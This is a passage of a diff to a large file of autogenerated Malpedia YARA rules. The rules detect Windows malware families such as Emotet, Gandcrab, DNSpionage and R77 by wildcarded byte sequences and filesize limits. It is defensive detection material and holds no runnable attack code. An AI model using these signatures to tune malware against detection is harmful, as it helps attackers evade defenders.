+		$sequence_2 = { 8bc7 99 0145e0 1155e4 eb0e }
+		$sequence_3 = { ff7618 ff15???????? 85c0 740e ff15???????? 8945e4 e9???????? }
+		$sequence_4 = { 8bf0 59 85f6 750e eb40 ff15???????? 8bf0 }
+		$sequence_5 = { 8945e4 ff45d0 e9???????? 395de4 0f8574060000 68???????? ff7618 }
+		$sequence_6 = { 50 ff15???????? 85c0 0f8524010000 8d45ec 50 8d8594f5ffff }
+		$sequence_7 = { 8bd8 48 83e90c 85db 75f1 5b }
+		$sequence_8 = { 5e c9 c3 55 8bec 83e4f8 81ec38020000 }
+		$sequence_9 = { 50 ff15???????? 8945ec 3bc3 7509 }
 
 	condition:
-		7 of them and filesize <612352
+		7 of them and filesize <156672
 }
-rule MALPEDIA_Win_Parasite_Http_Auto : FILE
+rule MALPEDIA_Win_Forest_Tiger_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8396c4fe-e904-583d-8bc2-2a1b61b79bee"
+		id = "2947155f-bcbc-5d27-b13d-2d3d872fe248"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.parasite_http"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.parasite_http_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.forest_tiger"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.forest_tiger_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "37851542b45d72ed626359d2a060741c909807319056a1d140e5557e76485a87"
+		logic_hash = "baf01183ad62d9cfadf21ee10ad4e3a50b3d3f1c1788ceb5d46999aa5751e1b0"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -167954,32 +175222,32 @@ rule MALPEDIA_Win_Parasite_Http_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 57 b900040000 e8???????? 8bf8 85ff 0f848a000000 56 }
-		$sequence_1 = { 50 33c0 895dfc 53 53 }
-		$sequence_2 = { 884df2 8d4dbc 66895dbe 668955c0 66895dc4 668945ce 66c745ec5669 }
-		$sequence_3 = { e8???????? 59 85db 7407 8bcb e8???????? 8b45f0 }
-		$sequence_4 = { 6a36 6689460a 58 6a34 6689460e 58 57 }
-		$sequence_5 = { e8???????? b9???????? 8bd8 e8???????? 33d2 8bcb }
-		$sequence_6 = { 57 8bf9 b9???????? e8???????? b9???????? 8bf0 e8???????? }
-		$sequence_7 = { 57 e8???????? 03c6 50 52 }
-		$sequence_8 = { 740f 8d4dfc 51 51 51 50 }
-		$sequence_9 = { 53 ffd0 8bcf e8???????? 8bce e8???????? 8bcb }
+		$sequence_0 = { 833f01 0f94c0 84c0 7407 }
+		$sequence_1 = { 833f01 0f94c0 84c0 7407 e8???????? eb05 }
+		$sequence_2 = { 833f01 0f94c0 84c0 7407 e8???????? }
+		$sequence_3 = { 833f01 0f94c0 84c0 7407 e8???????? eb05 e8???????? }
+		$sequence_4 = { 6a0c 51 e8???????? 83c410 8b858cf8ffff 3bc3 746e }
+		$sequence_5 = { 4885c9 740c e8???????? 4c8935???????? 488d0ddf710200 ff15???????? }
+		$sequence_6 = { 741b 498d8c243a250000 458ac6 b213 e8???????? f7d8 1bdb }
+		$sequence_7 = { 51 e8???????? 83c410 81c6a8000000 8bc6 8d5002 668b08 }
+		$sequence_8 = { c20400 8b4508 c7462c00000080 c74644ffffffff 85c0 7403 894644 }
+		$sequence_9 = { 7416 4883ffff 7410 8bcd e8???????? 488bcf ffd0 }
 
 	condition:
-		7 of them and filesize <147456
+		7 of them and filesize <709632
 }
-rule MALPEDIA_Win_Woolger_Auto : FILE
+rule MALPEDIA_Win_Whitebird_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "903b676c-1246-53ac-bdc3-0b77fc0dda3c"
+		id = "18c8f315-82f9-5211-979b-cd91dd0f89f6"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.woolger"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.woolger_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.whitebird"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.whitebird_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "403d441c2bcd327a0a5f26d737426637c32fb82ed6205c2fd16dc75ea4a861d4"
+		logic_hash = "9614af5c53f8ac08af22eb37dac785c96bbf80265ac7367d1874d42f77f5a2ec"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -167993,32 +175261,32 @@ rule MALPEDIA_Win_Woolger_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83f814 750a be???????? e9???????? 83f81b }
-		$sequence_1 = { 83ec54 6a40 8d45b0 6a00 50 c745ac44000000 e8???????? }
-		$sequence_2 = { 33c5 8945fc 33c0 668945d4 }
-		$sequence_3 = { 6685c0 8d85fcfeffff 50 0f95c3 ff15???????? 8b4f08 }
-		$sequence_4 = { 52 ff15???????? 83f801 0f858d000000 }
-		$sequence_5 = { 6a00 68???????? ff15???????? 68???????? 6a01 6a00 }
-		$sequence_6 = { 66a5 8dbdfcf8ffff 4f 8a4701 47 84c0 }
-		$sequence_7 = { 6a00 8d8dd4f4ffff 51 ffd6 85c0 75db }
-		$sequence_8 = { 83c414 81ffb80b0000 5f 7c40 e8???????? e8???????? }
-		$sequence_9 = { 3da2000000 0f8403010000 3da3000000 0f84f8000000 3da4000000 0f84e6000000 3da5000000 }
+		$sequence_0 = { 8a4302 84c0 7408 3c01 7404 }
+		$sequence_1 = { 8a4301 3c01 7404 3c02 }
+		$sequence_2 = { 8a4302 84c0 7408 3c01 7404 3c02 }
+		$sequence_3 = { eb09 80f92f 0f95c1 80c13f }
+		$sequence_4 = { 8a4302 84c0 7408 3c01 }
+		$sequence_5 = { ffb5c0fbffff 8930 ff15???????? 01b5c4fbffff ff8dbcfbffff 75dd ffb5c0fbffff }
+		$sequence_6 = { ff15???????? 488bcb ff15???????? b801000000 488b8c2480040000 4833cc e8???????? }
+		$sequence_7 = { 8b4d08 836d0808 d3e3 095d0c 46 3bf7 72ec }
+		$sequence_8 = { 488d542468 498bcd ffd0 3bc3 8bd0 7c28 8b442478 }
+		$sequence_9 = { 4833c4 4889842450250000 418bf9 458be0 448bf2 89542454 4c8be9 }
 
 	condition:
-		7 of them and filesize <196608
+		7 of them and filesize <139264
 }
-rule MALPEDIA_Win_Alureon_Auto : FILE
+rule MALPEDIA_Win_Gandcrab_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d906ba05-9af9-5358-abd3-33a25815a15f"
+		id = "8fb97f0d-f07e-528f-846a-617ae03e5a0b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alureon"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.alureon_auto.yar#L1-L161"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gandcrab"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gandcrab_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "69c2ddac38bf20f21fb2d59f504ac16289e135ccaf5d5c616ac40bfbb62cd466"
+		logic_hash = "51f7c1543a06dc758514ed4496666d6ea311b3c69b16117153a658edbbb8509b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -168032,38 +175300,32 @@ rule MALPEDIA_Win_Alureon_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 59 32c0 8d7c2420 f3aa 8b4d14 }
-		$sequence_1 = { 3b442410 75cf 33c0 5f 5e 5b c20800 }
-		$sequence_2 = { 6800001000 8d45f8 50 c745d818000000 }
-		$sequence_3 = { 68000010c0 8d45fc 50 c745d818000000 }
-		$sequence_4 = { 6800000080 6a03 56 6a01 }
-		$sequence_5 = { 41 8bca 49 ffc7 }
-		$sequence_6 = { 2bc8 03cf 8908 eb2f 837dfc05 751c }
-		$sequence_7 = { 6800005600 8d45d0 50 53 }
-		$sequence_8 = { 53 ff15???????? 8945f8 56 }
-		$sequence_9 = { c745f000010000 749d ff75e8 ff15???????? }
-		$sequence_10 = { 66a5 8d85a8feffff 50 68???????? a4 }
-		$sequence_11 = { 741c 8d85e4fbffff 50 8d85f8feffff 50 }
-		$sequence_12 = { 837dfc0a 7cc0 eb32 8bc3 }
-		$sequence_13 = { 50 33f6 46 56 8d8424cc000000 50 }
-		$sequence_14 = { 8d8424ec010000 50 68???????? ff15???????? 85c0 0f84f2020000 }
-		$sequence_15 = { ff15???????? 85c0 7409 39b424c8000000 75cf 53 53 }
+		$sequence_0 = { ff15???????? ff7728 8bf0 ff15???????? 03c3 8d5e04 }
+		$sequence_1 = { 7403 83c314 837f7400 741b ff777c ff15???????? ff7778 }
+		$sequence_2 = { 8d5e04 03d8 837f2400 741b ff772c }
+		$sequence_3 = { ff774c 8bf0 ff15???????? 03c3 8d5e04 03d8 }
+		$sequence_4 = { 03c3 8d5e04 03d8 837f5400 741b }
+		$sequence_5 = { 03c3 8d5e04 03d8 837f3000 741b }
+		$sequence_6 = { ff774c 8bf0 ff15???????? 03c3 8d5e04 }
+		$sequence_7 = { 837f1800 741b ff7720 ff15???????? }
+		$sequence_8 = { 03d8 837f6000 7403 83c314 837f7400 741b ff777c }
+		$sequence_9 = { ff15???????? 03c3 8d5e04 03d8 837f3000 }
 
 	condition:
-		7 of them and filesize <278528
+		7 of them and filesize <1024000
 }
-rule MALPEDIA_Win_Cheesetray_Auto : FILE
+rule MALPEDIA_Win_Dnspionage_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "eb62b85d-8cb5-5c93-9081-d14aeb9fbc65"
+		id = "80d80ee2-7c3c-5a6f-84fc-982c0a0f58b9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cheesetray"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cheesetray_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dnspionage"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dnspionage_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "191172cf0a118bdd8e29d678be92e505a1f63a7f2bef651373f2b7d4a4b3676d"
+		logic_hash = "6f236089a9c79217d1f5a567e48544242146a1c819e624fb6aad3710206efaec"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -168077,34 +175339,34 @@ rule MALPEDIA_Win_Cheesetray_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 66898424c4000000 e8???????? 8b4d08 83c40c 51 8d54240c 33c0 }
-		$sequence_1 = { c20c00 397368 740e 56 e8???????? 83c404 83f8ff }
-		$sequence_2 = { 03cf 8988bc160000 8b3cb5f0234400 8b5d08 85ff 0f8487fdffff 2b14b5282d4400 }
-		$sequence_3 = { 8bf8 85ff 745d 0fb755f0 8b45ec 52 50 }
-		$sequence_4 = { e8???????? 8b442434 3bc7 7403 50 ffd6 }
-		$sequence_5 = { 8d0c00 8d442428 50 52 e8???????? 83c408 894608 }
-		$sequence_6 = { 8bda c1eb18 33049da02d4400 81e2ff000000 330495a0394400 83c120 3341f8 }
-		$sequence_7 = { 8b4dfc 5f 5e a3???????? 890d???????? b801000000 5b }
-		$sequence_8 = { e8???????? 8b45f8 83c40c 53 53 8d4dec 51 }
-		$sequence_9 = { 83c410 33c0 5f 66398500ffffff 740c 40 6683bc4500ffffff00 }
+		$sequence_0 = { f7470c00020000 7507 8bc8 e8???????? 894320 85c0 }
+		$sequence_1 = { 50 8d45f4 50 6a13 57 }
+		$sequence_2 = { 0f1f8000000000 8bc7 8d5001 8a08 40 84c9 75f9 }
+		$sequence_3 = { c7450c00000000 8d4d0c ba???????? 51 8d4df4 51 }
+		$sequence_4 = { 83f97f 7307 be7f000000 eb11 8bf7 8d4e01 0f1f00 }
+		$sequence_5 = { 33f6 397510 762c 8b45f0 }
+		$sequence_6 = { 8b4810 e8???????? a3???????? e9???????? }
+		$sequence_7 = { 57 8bfa 85f6 0f8487000000 85ff 0f847f000000 }
+		$sequence_8 = { 7202 8b12 56 52 8d8518feffff }
+		$sequence_9 = { 8bce 8903 83c408 c1e902 }
 
 	condition:
-		7 of them and filesize <8626176
+		7 of them and filesize <786432
 }
-rule MALPEDIA_Win_Emotet_Auto : FILE
+rule MALPEDIA_Win_Xfsadm_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "66e086d2-a552-5582-bb27-ef248a857482"
+		id = "6a0bbf1b-24f1-56ab-8ac3-dbd47808408e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.emotet"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.emotet_auto.yar#L1-L609"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xfsadm"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.xfsadm_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "0a0e9e76b9d5a85025f54433e276f35bcb5e942e8559eb03880f6fd71aab7315"
+		logic_hash = "b3759828684909f4ce479e79726b48d5eca09cda3ca207a8e06b6b8b2444949c"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -168116,95 +175378,32 @@ rule MALPEDIA_Win_Emotet_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 3c41 7c04 3c5a 7e03 c60158 }
-		$sequence_1 = { 7e13 3c61 7c04 3c7a 7e0b 3c41 7c04 }
-		$sequence_2 = { 3c30 7c04 3c39 7e13 3c61 }
-		$sequence_3 = { c60158 41 803900 75dd }
-		$sequence_4 = { 33c0 3903 5f 5e 0f95c0 5b 8be5 }
-		$sequence_5 = { 83c020 eb03 0fb7c0 69d23f000100 }
-		$sequence_6 = { c1e808 8d5204 c1e910 8842fd 884afe }
-		$sequence_7 = { 880a 8bc1 c1e808 8d5204 }
-		$sequence_8 = { 8d5801 f6c30f 7406 83e3f0 }
-		$sequence_9 = { 8b4604 8b16 8945fc 8d45f8 }
-		$sequence_10 = { 83c410 8b45fc 0106 294604 }
-		$sequence_11 = { 03878c000000 50 ff15???????? 017758 }
-		$sequence_12 = { 8bfa 8bf1 ff15???????? 8b17 83c40c }
-		$sequence_13 = { 8945fc 8d45f8 6a04 50 ff760c }
-		$sequence_14 = { 8b17 83c40c 8b4d0c 8bc2 0bc1 83f8ff }
-		$sequence_15 = { c745fc04000000 50 8d45f8 81ca00000020 50 52 51 }
-		$sequence_16 = { 66c1e808 4d8d4004 418840fd 418848fe }
-		$sequence_17 = { 418848fe 66c1e908 418848ff 4d3bd9 72cf }
-		$sequence_18 = { 2bca d1e9 03ca c1e906 894c2430 }
-		$sequence_19 = { 418bd0 d3e2 418bcb d3e0 }
-		$sequence_20 = { 488bd3 488bcf 488b5c2460 4883c450 }
-		$sequence_21 = { d3e7 83f841 7208 83f85a }
-		$sequence_22 = { 418808 0fb7c1 c1e910 66c1e808 }
-		$sequence_23 = { 49895b08 49896b10 49897318 49897b20 4156 4883ec70 }
-		$sequence_24 = { 48895010 4c894018 4c894820 c3 }
-		$sequence_25 = { c1e807 46 83f87f 77f7 }
-		$sequence_26 = { 84c0 75f2 eb03 c60100 }
-		$sequence_27 = { f7e1 b84fecc44e 2bca d1e9 }
-		$sequence_28 = { 8bd3 8b0f e8???????? 85c0 }
-		$sequence_29 = { 7423 8a01 3c30 7c04 }
-		$sequence_30 = { 83c104 894e04 8b00 85c0 }
-		$sequence_31 = { 7907 83c107 3bf7 72e8 }
-		$sequence_32 = { 56 57 6a1e 8d45e0 }
-		$sequence_33 = { 52 52 52 52 68???????? 52 }
-		$sequence_34 = { 83ec48 53 56 57 6a44 }
-		$sequence_35 = { 83f87f 760d 8d642400 c1e807 }
-		$sequence_36 = { 83f87f 7609 c1e807 41 83f87f 77f7 }
-		$sequence_37 = { 6a00 6aff 50 51 ff15???????? }
-		$sequence_38 = { 50 6a00 6a01 6a00 ff15???????? a3???????? }
-		$sequence_39 = { 6a00 ff75fc 6800040000 6a00 6a00 6a00 }
-		$sequence_40 = { 50 56 6800800000 6a6a }
-		$sequence_41 = { 53 56 8bf1 bb00c34c84 }
-		$sequence_42 = { 56 68400000f0 6a18 33f6 56 56 }
-		$sequence_43 = { 55 89e5 648b0d18000000 8b4130 83b8a400000006 }
-		$sequence_44 = { 8b5508 befbffffff c600e9 29d6 01ce 897001 }
-		$sequence_45 = { 50 51 52 01c8 01d0 }
-		$sequence_46 = { 8b7d08 83fe00 8945f0 894dec }
-		$sequence_47 = { 89d6 83c60c 8b7df4 8b4c0f0c }
-		$sequence_48 = { 8bec 83ec08 56 57 8bf1 33ff }
-		$sequence_49 = { 51 8d4df8 51 ff75f8 50 6a03 6a30 }
-		$sequence_50 = { 8b466c 5f 5e 5b 8be5 5d }
-		$sequence_51 = { 8b5d08 b8afa96e5e 56 57 00b807000000 008b45fc33d2 00b871800780 }
-		$sequence_52 = { 8bf1 bb00c34c84 57 33ff }
-		$sequence_53 = { 83ec10 53 6a00 8d45fc }
-		$sequence_54 = { 6a03 6a00 6a00 ff7508 53 50 }
-		$sequence_55 = { 8b7020 8b7840 89c3 83c33c }
-		$sequence_56 = { c605????????00 0fb6d8 e8???????? 0fb6c3 }
-		$sequence_57 = { e8???????? 84c0 7519 33c9 }
-		$sequence_58 = { ff15???????? 83f803 7405 83f802 751e }
-		$sequence_59 = { 7519 33c9 0f1f4000 0fb6840c30010000 }
-		$sequence_60 = { 743e 8b5c2430 85db 741d }
-		$sequence_61 = { 8bf8 e8???????? eb04 8b7c2430 }
-		$sequence_62 = { 31c9 89e2 31f6 89720c 897208 }
-		$sequence_63 = { 488d15e70f0000 e8???????? 84c0 0f84f1000000 48899c2480030000 }
-		$sequence_64 = { 84c0 7466 0f1f4000 488b9c2448040000 4885db }
-		$sequence_65 = { 8b4a48 894e20 83c418 5e c3 }
-		$sequence_66 = { 8b4c241c 0f44c8 2b5134 8b442420 890424 89542404 894c2418 }
-		$sequence_67 = { 897204 8932 8b15???????? 8944247c f20f11442470 }
-		$sequence_68 = { 813c3850450000 0f44f5 895e34 890424 }
-		$sequence_69 = { e8???????? 8d0d2231d800 890424 894c2404 e8???????? 8b4c242c 894130 }
-		$sequence_70 = { 8bf8 85ff 7443 be???????? e8???????? }
-		$sequence_71 = { 8b442450 894c2414 8b4c2418 8908 }
-		$sequence_72 = { 8b5010 51 52 c745f48072e601 e8???????? 8bd8 85db }
+		$sequence_0 = { 83c40c 85c0 0f8431010000 81ff???????? 0f849f000000 6a01 68???????? }
+		$sequence_1 = { 50 ff15???????? ffb534fdffff 8bf0 ff15???????? 0fb60d???????? 33c0 }
+		$sequence_2 = { 8b7e38 85ff 0f8576010000 53 68f80f0000 e8???????? }
+		$sequence_3 = { 85c9 7455 83c60c 3bf1 744e }
+		$sequence_4 = { 8b4008 8a0406 3c3d 745e }
+		$sequence_5 = { 83fa02 7211 8b4dfc 8a06 46 8b0c8df8d84200 88440f2b }
+		$sequence_6 = { 5b 8be5 5d c20800 3c2f 751c }
+		$sequence_7 = { 2d10010000 741d 83e801 7521 0fb74510 83f801 }
+		$sequence_8 = { 8d460c 83c410 3bc8 7409 51 e8???????? 83c404 }
+		$sequence_9 = { 50 e8???????? 8b4e08 8d460c 83c410 3bc8 }
 
 	condition:
-		7 of them and filesize <733184
+		7 of them and filesize <566272
 }
-rule MALPEDIA_Win_Sombrat_Auto : FILE
+rule MALPEDIA_Win_Atlas_Agent_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "829e34aa-1da2-5a33-9238-c1cc0c096058"
+		id = "31d9d19b-f3ba-501d-964d-67da428e9e82"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sombrat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sombrat_auto.yar#L1-L149"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atlas_agent"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.atlas_agent_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "a1432e014afc208b0318e2ead477453bc5bd4bddb98bd4c2d60380403a2290c4"
+		logic_hash = "49564f12d410922863a80d6084c9c71952a7f941729a00c4d7e4e12f95d889bc"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -168218,38 +175417,36 @@ rule MALPEDIA_Win_Sombrat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 014114 8b7508 837df800 8b5df4 }
-		$sequence_1 = { 01041e 8b4508 42 8d7308 }
-		$sequence_2 = { 0144244a 894e0c ffb72c010000 ff15???????? }
-		$sequence_3 = { 01420c 8b11 294210 8b09 }
-		$sequence_4 = { 0145e4 8b55f8 83c40c 294644 }
-		$sequence_5 = { 0000 e8???????? c70424???????? 8d5f0c 68???????? }
-		$sequence_6 = { 7514 8b4610 8d8de4fffeff 2b4618 03c3 }
-		$sequence_7 = { 014114 014620 f6460c04 8945e0 742d }
-		$sequence_8 = { 015f08 33c0 488b4c2470 4833cc }
-		$sequence_9 = { 0145f1 4533c9 4533c0 488b16 }
-		$sequence_10 = { 016b08 488d05dc980500 41b9e7160000 4889442420 }
-		$sequence_11 = { 015f08 83bfd800000016 0f856c020000 488b87c8000000 }
-		$sequence_12 = { 016b08 33c0 e9???????? 33ff }
-		$sequence_13 = { 01448c20 48ffc1 493bc9 7cf1 }
-		$sequence_14 = { 015f08 33c0 e9???????? 488b4760 }
-		$sequence_15 = { 015f08 488bcf e8???????? 8bf0 }
+		$sequence_0 = { 0fb60c0a 83e13c c1f902 03c1 }
+		$sequence_1 = { 8bc1 99 b903000000 f7f9 c1e002 }
+		$sequence_2 = { 4c8b8424c8000000 488b9424c0000000 488b8c2480000000 e8???????? 89442460 }
+		$sequence_3 = { 4c8b8424e0000000 488b9424d8000000 488b4c2468 e8???????? }
+		$sequence_4 = { 89857cffffff c645fc06 83bd7cffffff00 7417 }
+		$sequence_5 = { 898584feffff 8b8584feffff 50 8d8dd4feffff }
+		$sequence_6 = { 898588f8ffff 8b9588f8ffff 899584f8ffff c645fc07 }
+		$sequence_7 = { 4c8b8424f0000000 488b942488000000 488b8c24e0000000 e8???????? }
+		$sequence_8 = { 89857cffffff 83bd7cffffff1e 7302 eb05 }
+		$sequence_9 = { 4c8b8424f8000000 488b942400010000 488d8c24f0030000 e8???????? }
+		$sequence_10 = { 89857cffffff 8b8d18ffffff 894d80 83bd7cffffff00 }
+		$sequence_11 = { 4c8b8c2408010000 4c8d05c2930400 ba40000000 488d4c2470 }
+		$sequence_12 = { 89857cffffff 895580 8b4580 3b45dc }
+		$sequence_13 = { 4c8b8c2408010000 4c8d442460 488b9424f8000000 488b8c24f0000000 }
 
 	condition:
-		7 of them and filesize <1466368
+		7 of them and filesize <857088
 }
-rule MALPEDIA_Win_Mbrlocker_Auto : FILE
+rule MALPEDIA_Win_Darkvnc_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6a472526-8a03-5ccc-a5eb-10b46b34c6da"
+		id = "c383bb27-eefd-56e4-99f1-129a7cd0febf"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mbrlocker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mbrlocker_auto.yar#L1-L119"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkvnc"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darkvnc_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "2abe677d378843746aa6479444a4219927906b009fff2766ade4f081783dbae6"
+		logic_hash = "59a6ef1d2e391f7957c06b061626ceb22bd1c35faf4777593f7b9c101df055cb"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -168263,32 +175460,32 @@ rule MALPEDIA_Win_Mbrlocker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 8b35???????? 8b3d???????? 6a10 68???????? }
-		$sequence_1 = { 68fe000000 68???????? ffd7 83c408 }
-		$sequence_2 = { 68ac000000 68???????? e8???????? 68ac000000 68???????? ffd7 83c408 }
-		$sequence_3 = { c705????????ba514000 c705????????00020000 68fe000000 68???????? ffd6 83c408 68ff000000 }
-		$sequence_4 = { 68ac000000 68???????? e8???????? e8???????? }
-		$sequence_5 = { 68ff000000 68ac000000 68???????? e8???????? e8???????? 68ff000000 68ac000000 }
-		$sequence_6 = { ac 30c8 aa 4a 75f9 61 c9 }
-		$sequence_7 = { 68fe000000 68???????? e8???????? 68fe000000 }
-		$sequence_8 = { 68fe000000 68???????? e8???????? e8???????? 68ff000000 68fe000000 }
-		$sequence_9 = { 31c8 e8???????? 68ac000000 68???????? }
+		$sequence_0 = { c1e904 4103ce 446bc11f 48634b28 418bd0 c1ea08 881401 }
+		$sequence_1 = { 488b4c2438 894148 c744244001000000 4c8b8c24a0000000 4c8b842498000000 8b942490000000 33c9 }
+		$sequence_2 = { 418bca d1e9 03c1 8a4d0c 99 41f7fa d3e0 }
+		$sequence_3 = { 41f7fb d2e0 41880432 49ffc2 4c3bd3 7ce5 488b5c2408 }
+		$sequence_4 = { 668944244c 488d4c2440 e8???????? 668944244e c744244400000000 eb0a 8b442444 }
+		$sequence_5 = { 418bc8 44888438d8000000 458d5801 44019fd8000100 418bc5 410fafc4 44899c24c0040000 }
+		$sequence_6 = { ff15???????? 33d2 b903000000 f7f1 89442428 c744242400000000 ba09000000 }
+		$sequence_7 = { eb0c 498b4770 4b8d0c76 4c8d2cc8 4d85ed 750a bb27030980 }
+		$sequence_8 = { 8d5808 e9???????? 488b4c2460 488d85b0000000 4533c0 4889442420 4d8bcf }
+		$sequence_9 = { 4d85e4 7416 498bcf e8???????? 0c80 488bcd 8ad0 }
 
 	condition:
-		7 of them and filesize <43008
+		7 of them and filesize <606208
 }
-rule MALPEDIA_Win_Scarecrow_Auto : FILE
+rule MALPEDIA_Win_R77_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "906ba1cc-dc26-55b9-8f54-7f06e242df8d"
+		id = "79566c97-5b66-5f14-a1d3-bc9852e6d698"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scarecrow"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.scarecrow_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.r77"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.r77_auto.yar#L1-L154"
 		license_url = "N/A"
-		logic_hash = "b5b9eded36bc33c6ab271290937feb85fda4ad16d7bb5dd0760ea465825b259d"
+		logic_hash = "76c887c6ccc22f9627519af58959f5ccdb37c325ffba24612ced9e4b32cde701"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -168302,32 +175499,36 @@ rule MALPEDIA_Win_Scarecrow_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { f7f9 85d2 743b 8b45f4 8d4f17 83c00b 99 }
-		$sequence_1 = { 74d9 eb57 99 f7ff 85d2 7450 8b4c2410 }
-		$sequence_2 = { c68574faffff00 c68575faffff4b c68576faffff40 c68577faffff0a c68578faffff40 c68579faffff6e c6857afaffff40 }
-		$sequence_3 = { c6855bfcffff05 c6855cfcffff20 c6855dfcffff08 c6855efcffff20 c6855ffcffff27 c68560fcffff20 }
-		$sequence_4 = { 7905 48 83c8fc 40 744a 8b4df4 8d4303 }
-		$sequence_5 = { 99 f7ff 85d2 752c 0f1f4000 8b859cf7ffff 99 }
-		$sequence_6 = { 0f84f7040000 8d4f03 c745f005000000 660f1f840000000000 c745f405f26700 8b45f4 99 }
